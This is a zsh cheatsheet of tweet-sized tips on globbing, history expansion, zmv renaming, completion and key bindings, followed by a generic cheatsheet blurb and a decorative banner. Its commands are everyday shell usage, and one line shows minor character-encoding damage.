service htt<TAB>
service httpd res<TAB>
service httpd restart
# expand alias
autoload compinit && compinit
alias e='echo'
zstyle ':completion:*' completer _expand_alias _expand _complete _ignored
e<tab>
# man for all the zsh builtins from alias to ztcp
http://t.co/gNf9dfXeGM
# ls -l *.*(mh-3) # less than 3 hours
ls -l *(.mh-3) # . means files only
# test if a parameter is numeric
if [[ $1 == <-> ]] ; then
echo numeric
else
echo non-numeric
fi
# copy-earlier-word bound to say control-o
cycles through each parameter on command line very useful
# autoload -Uz copy-earlier-word
zle -N copy-earlier-word
bindkey -M viins '^O' copy-earlier-word
cp fred.php old_^O^O # to old_fred.php
# one spelling variation
touch bungo bango tango
ls (#a1)bungo
bango bungo
# two spelling variations
ls (#a2)bungo
bango bungo tango
# glob by owner, permissions, age, file size
# filenames no digits ,uppercase
ls -l **/([^A-Z[:digit:]])##(.u:Guest:f:gu+wx,o+wx:Lk-30mM-1)
# lets push the boat out a bit further
echo **/*(.Lk-2m-9om[1,9]:t:r:uu:Guest:)
# . files only
Lm-2 Less than 2MB
mh-1 Less than 1 hour old
om sort by newest
[1,3] first 3 only
from http://t.co/lgepDuq4kr
# explanation tomorrow
ls -l zsh_demo/**/*(.Lm-2mh-1om[1,3])
# The fignore variable lists suffixes of files to ignore during completion
# http://t.co/TgsrhUKmIS
fignore=( .o \~ .bak .junk .scc)
# lets be real picky
autoload -U age
ls -l *(.e#age 2013/10/04:10:15 2013/11/04:10:45#)
# list by age/date
ls -l *.*(mM4)
autoload -U age
ls -tl *.*(e#age 2014/06/01 now#)
ls -tl *.*(e#age 2014/06/01 2014/06/30#)
# zsh tips archive
vim http://t.co/vrjqXYSxES
# expand aliases with tab
autoload -U compinit && compinit
zstyle ':completion:*' completer _expand_alias
bindkey '^t' _expand_alias
# part 3
bindkey "^[[A" up-line-or-beginning-search
bindkey "^[[B" down-line-or-beginning-search
ls <up> only lists previous ls history
# part 2
zle -N up-line-or-beginning-search
zle -N down-line-or-beginning-search
# part 1 Better history searching with arrow keys
autoload -U up-line-or-beginning-search
autoload -U down-line-or-beginning-search
# list your functions
# o=order k=keys
print -l ${(ok)functions}
# % minimum match %% maximum match
v=fredjoejoe
echo ${v%joe*}
echo ${v%%joe*}
# from today's zsh user group : alter last dot to _
JUNK=R.E.M.
echo ${JUNK/%./_}
echo ${JUNK/.(#e)/_}
# % & (# e) are end anchors
# cd without typing cd
setopt auto_cd
# parameters
p()
{
echo "last ${@[-1]}"
echo "2nd last ${@[-2]}"
}
p a b c d
# :r remove extension :wr multiple
var=fred.txt
echo ${var:r}
var='fred.txt joe.csv sue.xls'
echo ${var:wr}
# setopt correct
alias grepp='nocorrect grepp'
unsetopt correct
setopt correctall # spellchecks everything
unsetopt correctall
X# Zero or more X
X## One or more X
touch {4,44,444,5,45,55,54}.txt .txt
ls 4#.txt
ls 4##.txt
^pat Anything that doesn’t match pat
pat1^pat2 Match pat1 then anything other than pat2
pat1~pat2 Anything matching pat1 but not pat2
# print components of date command
print ${$( date )[2,4]}
# diff ^ ~
touch {fred,joe}{fred,joe}
ls fred*~*fred* # never matches
ls fred*~*joe* # finds fredfred
ls fred^fred # finds fredjoe
# # followed by c repeat characters
touch DATA_6789{00..33}.csv DATA_678988888.csv
ls DATA_[0-9](#c6).csv
ls DATA_[0-9](#c6,).csv
# repeat command
repeat 3 echo hi
# eliminate the annoying no match warning for FNG
unsetopt nomatch
# you can chain ~ filters
touch {a,b,c}{a,b,c} {0,1,2}{1,2,x}
ls *~*c~*b
ls *~b*~c*~<-> # <-> numbers
ls *~*c~2# # filter 22 222
# ^ not in fng
ls x^[3-5]
ls fred^erick* # list all files fred* except frederick
ls abc^8* ls -lt **/^(vssver.scc|*.ini)(.om[1,10])
# zsh maths from http://t.co/imT2cLGmmt
zmodload zsh/mathfunc
echo $(( pi = 4.0 * atan(1.0) ))
# ~ with number ranges
touch abc{0..100}.txt
ls abc(<20-100>~<57-67>).txt
# how ~ filters
grep -i 'goaty' **/*.{js,php,css} | grep -v 'libs/\|test/\|tmp/'
grep -i 'goaty' **/*.{js,php,css}~*(libs|test|tmp)/*
# printable zsh reference card
http://t.co/nC7rfzD4Sa
autoload -U url-quote-magic && zle -N self-insert url-quote-magic
# This will auto-quote/escape URLs when typed or pasted
# games
autoload -U tetris
zle -N tetris
bindkey '^T' tetris
# zsh tips tweets archive
http://t.co/vrjqXYSxES
http://t.co/l4EUN1Bs5s
# allow comments on command line
setopt interactivecomments
date # this comment no longer breaks command
# good stuff
http://t.co/lgepDuq4kr
touch -d "4 days ago" x* a* .x .a
ls *(.m4) # 4 days ago
ls *(.m4om[2]) # 2nd file 4 days ago
ls {x,a}*(.m4om[2]D) # include dot files
# remember you can dry run a command with echo
# mv all files changed in last hour
echo mv -- *(.ch-1) junk/
touch x y .x .y
ll *(m0) # all files today but gets sub-directories
ll *(.m0) # only files today
ll *(.m0D) # include dot files
# separate permissions for files and directories
chmod 755 **/*(/)
chmod 644 **/*(.)
# http://t.co/YCW5X4V0k4
unit specifiers ‘M� �� ‘h� ‘m�or ��(e.g. ‘mh5� months weeks, hours, mins or secs ‘d�for days is default.
ls *.*(mh3) # modified 3 hours ago
ls *.*(mh-3) # less than 3 hours
ls *.*(mh+3) # more tham 3 hours
ls *.*(^mh3) # not 3 hours
# diffing al files in parallel directories /var/www/html/ var/www/test/
alias diffphp='for f (*.php) { diff $f ${PWD/html/test}/$f}'
# alternative for loop
# replace every instance of file with new version
for f (**/x) {cp newx $f }
for f in **/x; do;cp newx $f; done
# alternative ways of cd-ing to deep paths
hash -d dd="/var/www/html/scripts/dd/"
cdpath=(~ /var/www/html/)
# a simple completer for latex files
zstyle ':completion:*:*:vtex:*' file-patterns '*.tex:tex-files'
function vtex(){gvim $*}
vtex<TAB>
# multiple redirection
cat file.txt > file1.txt >> file2.txt > file3.txt
# textify a phrase to create an image name
s="Fred Goat Dog"
print ${(L)s:gs/ /-/}.jpg
print ${(L)s// /-}.jpg
# vi mode multiple undo/redo
bindkey -a u undo
bindkey -a '^R' redo
bindkey '^?' backward-delete-char
bindkey '^H' backward-delete-char
# reply gets each file name
$REPLY:r.o
:r strip extension
.o add .o
[[! -e $REPLY:r.o]] # does *.o exist
e#''# execute condition
# find *.c files which have no *.o
touch {a,b,c,d}.c {a,c}.o
ls *.c(e#'[[ ! -e $REPLY:r.o ]]'#)
# test if a file exists before overwriting
[[ -e test/config.php ]] && cp -p test/config.php www/
for f (*.php) { php -l $f }
for i in {11..15} ; ping -n 1 192.18.158.$i
# please memorise syntax for recalling an individual param
# !?string?0-$
ls file0PGwerlongname.csv
.. other commands
vi !?file0?$<TAB>
# list user root files which are not executable
ls -l *.*(u:root:.^x)
# working with file ownership
# list files not owned by user apache
ls -dl *(^u:apache:)
if [[ $1 == <-> ]] ; then
echo parameter is a number
else
echo $1
fi
# edit/correct previous command :G global :u uppercase :p just display & memory
echo fred
^fred^joe
^joe^& &
^joe^sid^:G
^sid^sue^:G:u:p
# what's been modified today?
ls -lt /var/www/html/**/*(.om[1,10])
# attach a command, text etc to a key, use with care
bindkey -s qq 'ls **/*.php'
# to get code of a function key type cntl-v f5 ^[[15;5~
# list files younger than 6 hours
ls *.*(mh-6)
# m =modified h-6 hours - 6
# list files older than 6 hours
ls *.*(mh+6)
# simple but useful
# copy today's files to a USB
cp *(m0) f:/
cp *.mp3(m0) f:/
# where m0 is m zero
# Global
zstyle ':completion:*' completer _expand_alias _expand _complete _ignored
vi NF<TAB>
vi *~vssver.scc(.om[1]) <TAB>
vi news.php
# FNG choices
touch {bb,aa,cc}.{jpg,gif,png}
ls {aa,bb}.(jpg|gif)
ls (*~aa).(*~gif)
# zsh magic : recall recent directories
setopt autopushd pushdignoredups
cd -<TAB>
cp main.php ~-<TAB>
# FNG
touch {y,y2}.cfm
ls y2#.cfm y{2,}.cfm y(2|).cfm {y2,y}.cfm (y|y2).cfm y*.cfm
# renumbering images
autoload zmv
autoload zmv $ zmv 'pic(*).jpg' 'pic${(l:4::0:)1}.jpg'
# find all files with no extension
ls *~*.*(.)
# * match all files
# ~*.* except any with a dot
# (.) files only
# padding left & right
value=314.56
echo ${(l:10::2:)value}
echo ${(r:10::0:)value}
# num ranges ad nauseum
touch {1..5} {6,7,8,12} {00..03}
ls <-> <-6> <4-> <4-5> 0<-> {1..5} {2,3} {00..03} (4|5) [3-4] [3-47-8] 0? ?2 *2
# number ranges
touch x{1..5} {9..6}
ls x<0-5>
ls <->
# builtin random number $Random
for i in {1..9}; echo $RANDOM
cd /v/w/h/<tab>
# expands to
cd /var/www/html/
# use global alias to replace complex syntax
alias -g REL=' ${PWD/html/release}'
# you must use single quotes here
# now exclude some directories
zargs ./{html,live}/**/*.{php,inc,js}~(**/wiki|**/dompdf)/* -- tar rvf /tmp/web2$(date "+%d-%m-%Y").tar
# backup two webroots dev and html
zargs ./{html,dev}/**/*.{php,inc,js} -- tar rvf /tmp/web$(date "+%d-%m-%Y").tar
# previous tweet saves a command in history that you are not ready to execute
$BUFFER contains command
print -s means print to history
# ctrl-b save
commit-to-history() {
print -s ${(z)BUFFER}
zle send-break
}
zle -N commit-to-history bindkey "^B" commit-to-history
# type bindkey to see what is configured
bindkey
# also set, setopt, mount, alias, autoload, functions, zstyle
# use | more as required
zargs ./**/*.{php,inc,js} -- tar rvf /tmp/webbackup$(date "+%d-%m-%Y").tar
# debug echo shell commands and provide trace info
setopt XTRACE VERBOSE
# duality of operators :u :l etc
f=FreD
echo ${f:u}
echo FreD
echo !$:u
# http://t.co/Alky15TAaS
!!:1:s/s1/s2/ Replace string s1 by s2
!!:1:gs/s1/s2/ Same but global
!!:1:& Use same s1 and s2 on new target
ls -l *(Lk+100) # list file size larger/greater than 100kb
ls **/*(.Lm+10) # list files larger than 10MB anywhere in hierarchy
# flip between two deep parallel directories
cd /var/www/html/admin
cd html live > /dev/null &>1 || cd live html > /dev/null &>1
# just fun but memorise these
touch do re mi
!!:0 !^ !:2 !$ !#$ !#:2 !#1 !#:0
# lowercase/uppercase all files/directories
zmv '(*)' '${(L)1}' # lowercase
zmv '(*)' '${(U)1}' # uppercase
# the syntax is logical
# Bulk change the suffix from *.sh to *.pl
zmv -W '*.sh' '*.pl'
# zmv advanced renaming , replace spaces by underscore
autoload -U zmv
touch 'filename with spaces.txt'
zmv '* *' '$f:gs/ /_'
# number ranges
ls fred{09..13}.pl
# list all files fred76.pl to fred88.pl
ls fred<76-88>.php
# cd to deep dirs from anywhere
cdpath=(~ /c/inetpub/wwwroot/ /c/intdoc/)
cd website1
# where website1 is /c/inetpub/wwwroot/website1/
# start zsh without your usual config (for testing etc)
zsh -f
# tip part 2
# with previous tweet
ls fred<tab>
# will complete middle of filename e.g. longfred.txt
# tip part I
autoload -U compinit && compinit
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' 'r:|[._-]=* r:|=*' 'l:|=* r:|=*'
# oh my zsh a project to facilitate configuring zsh
https://t.co/9tUvMIztjt
# elegant ftp
autoload -U zfinit
zfinit
zfparams http://t.co/FV4p7oNuqI userid password
zfopen
zfput zshtips.html
# check syntax of PHP files with quote in name
for i in quote_* ; php -l $i
# recall from current line
cp longfilename.php backup_!#^<TAB>
# here !#^ !#1 !#$ all recall longfilename.php
# also !#0
# expands to mv textfile.txt textfile.bak
mv textfile.{txt,bak}
# create a backup copy of a file
cp {,bak_}verylongfilename.tex
# another way to edit a previous command
!-2:gs/fred/joe/
!?php5?:gs/5/6/
# newest directory
alias -g ND='*(/om[1])'
# newest file
alias -g NF='*~vssver.scc(.om[1])'
cp NF ND
# variety
ls *.{jpg,gif,png}
ls *.{jpg,gif,png}(.N) # does not break if one type missing
ls *.(jpg|gif|png)
# very good, simply explained
http://t.co/yEFBz3wZu1
ls **/*~*/.git/*
# ignore all git subdirectories *~* matches a path
# copy to a deep parallel directory
cp ${PWD/dev/html}/getRecord.php .
# e.g from /var/www/dev/include/ to /var/www/html/include
# push current command into a buffer, allows you to do another command then returns to previous command
bindkey '^L' push-line
# for previous tweet you need, also you can program any key
bindkey -v # vi mode line editting
bindkey -M viins '^O' # copy-prev-shell-word
cp longname.php <control-O> duplicates longname.php which you then modify
bindkey '^[[A' history-beginning-search-backward # Up
bindkey '^[[B' history-beginning-search-forward # Down
cd (up recalls prev params)
# writes ls results to file1 & file2 appends to file3 . multi-io
ls > file1 > file2 >> file3 | wc
# recall most recent cmd containing string 'client'
!?client<tab>
# recall last parameter of cmd containing 'client'
vi !?client?:$<tab>
# history substitution
!^ first parameter
!:1-4 first 4 parameters
!$ last parameter
!* all parameters
# ^^ correct /alter previous command
cp x2 src/
^2^3
cp x3 src/
# list 5 most recent files anywhere in hierarchy
ls -lt **/*(D.om[1,5])
* all files
~ except for
*.* all files with a dot
(.) files only
# list all files without an extension ( no dot)
ls *~*.*(.)
# list pesky empty files (yes that is a zero)
ls *(.L0)
# autocd is where you just have to type the directory name to "cd" to it. Are there any drawbacks to autocd?
# type ... to go back up 2 directory levels
alias ...='cd ../..'
# .zshrc : access vim scratch files vx1 to vx9
function vx{0..9}(){gvim.exe c:/aax/${0/#v/} &}
# create shortcuts to deep directories (put in .zshrc)
hash -d www="/var/www/html"
cd ~www
# now just type test.php to execute it
alias -s php='c:/wamp/php/php.exe'
yum install zsh # on many linux systems, for cygwin users select zsh from the setup.
ls (x*~x[3-5]) # list files x* except x3 to x # thank You Steve Mac my first follower!
zargs ./**/*.{php,inc,js} -- tar rvf dev2$(date '+%d-%m-%Y').tar # tar just source files in a directory
cd str1 str2 # this will substitute the string "str1" from your directory path and replace it with "str2".
ls -lt **/*.php(.om[1,20]) # list 20 newest php files anywhere in directory hierarchy
ls *(m0) # list all files modified in last 24 hours
mv *.*(^m-1) archive/ # move all but today its files to sub-directory archive
vi ~+<tab> 1 /c/aaz 2 /c/aaa 3 /c/aax 4 /usr/bin # vi a file in recently visited directory
cd ~<tab> # display a list of recently visited directories then select the one you wish to return to
vi **/myfile.txt edit a file somewhere in hierarchy
# The elegant way zsh handles recursion. list all files main.php, main.css anywhere in directory / subdirectories >
ls -l **/main.{php,css}
# Right now I am logged into a server with a massive 4 petabyte filesystem within the Scholarly Data Archive at @iu_pti. I think the whole service has 42PB total storage. Someday this tweet may not be impressive, but not today! :D
# When brace expansion just will not cut it. Requires using the zsh shell.
# useful zsh spaceship numeric operator <->
touch {1..5}.php {6,7,8,12}.php {00..05}.php
ls <->.php
ls 0<->.php…
#==============================##==============================#
# CMD ZSH #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command zsh in a clear format. This allows users to quickly access the needed information for zsh without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for zsh are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░